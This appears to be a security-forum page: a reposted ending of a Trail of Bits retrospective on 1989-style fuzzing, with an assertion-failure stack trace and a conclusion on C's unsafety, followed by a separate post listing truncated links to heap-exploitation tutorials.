[Thread 1] pl-fli.c:2495: codeToAtom: Assertion failed: chrcode >= 0 C-stack trace labeled "crash": [0] __assert_fail+0x41 [1] PL_put_term+0x18e [2] PL_unify_text+0x1c4 … It is never good when an application crashes, but at least in this case the program can tell something is amiss, and it fails early and loudly. Conclusion Fuzzing has been a simple and reliable way to find bugs in programs for the last 30 years. While fuzzing research is advancing rapidly, even the simplest attempts that reuse 30-year-old code are successful at identifying bugs in modern Linux utilities. The original fuzzing papers do a great job at foretelling the dangers of C and the security issues it would cause for decades. They argue convincingly that C makes it too easy to write unsafe code and should be avoided if possible. More directly, the papers show that even naive fuzz testing still exposes bugs, and such testing should be incorporated as a standard software development practice. Sadly, this advice was not followed for decades. I hope you have enjoyed this 30-year retrospective. Be on the lookout for the next installment of this series: Fuzzing In The Year 2000, which will investigate how Windows 10 applications compare against their Windows NT/2000 equivalents when faced with a Windows message fuzzer. I think that you can already guess the answer. Sursa: https://blog.trailofbits.com/2018/12/31/fuzzing-like-its-1989/

http://www.blackhat.com/presentations... https://sourceware.org/glibc/wiki/Mal... http://homes.soic.indiana.edu/yh33/Te... http://homes.soic.indiana.edu/yh33/Te... Understanding the heap by breaking it: http://www.blackhat.com/presentations... https://tc.gtisc.gatech.edu/cs6265/20... https://sourceware.org/glibc/wiki/Mal... https://sploitfun.wordpress.com/2015/... http://liveoverflow.com/binary_hacking/ Cool little demos and subsections Understanding heap exploitation http://www.mathyvanhoef.com/2013/02/u... Heap and Exploits of Heap: http://security.cs.rpi.edu/courses/bi... Malloc Internals http://sourceware.org/glibc/wiki/Mall... Exploiting Use After Free https://0x00sec.org/t/heap-exploitati... https://sploitfun.wordpress.com/2015/... https://sploitfun.wordpress.com/2015/...